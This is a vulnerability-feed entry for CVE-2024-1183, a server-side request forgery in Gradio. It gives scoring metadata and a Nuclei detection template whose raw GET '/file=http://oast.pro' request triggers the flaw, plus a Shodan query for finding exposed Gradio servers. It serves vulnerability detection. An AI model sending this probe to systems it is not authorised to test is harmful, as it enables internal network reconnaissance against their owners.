Gradio - Server Side Request Forgery

2024-04-2412:40:10

ProjectDiscovery

github.com

cve2024

ssrf

oast

gradio

server-side request forgery

internal network

open ports

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

0.001 Low

EPSS

Percentile

32.8%

JSON

An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.

id: CVE-2024-1183

info:
  name: Gradio - Server Side Request Forgery
  author: DhiyaneshDK
  severity: medium
  description: |
    An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
  reference:
    - https://github.com/gradio-app/gradio/commit/2ad3d9e7ec6c8eeea59774265b44f11df7394bb4
    - https://huntr.com/bounties/103434f9-87d2-42ea-9907-194a3c25007c
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-1183
    cwe-id: CWE-601
    epss-score: 0.00076
    epss-percentile: 0.32361
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"__gradio_mode__"
  tags: cve,cve2024,ssrf,oast,gradio

http:
  - raw:
      - |
        GET /file=http://oast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header
# digest: 4b0a004830460221008f8114233dc93d6f7f8756ef02b1f03954696a215009b10c4052a06421fe4250022100e565921ef3de19b35c2af7550b0d98f911333848805b11ad398ff151d6e4ce17:922c64590222798bb761d5b6d8e72950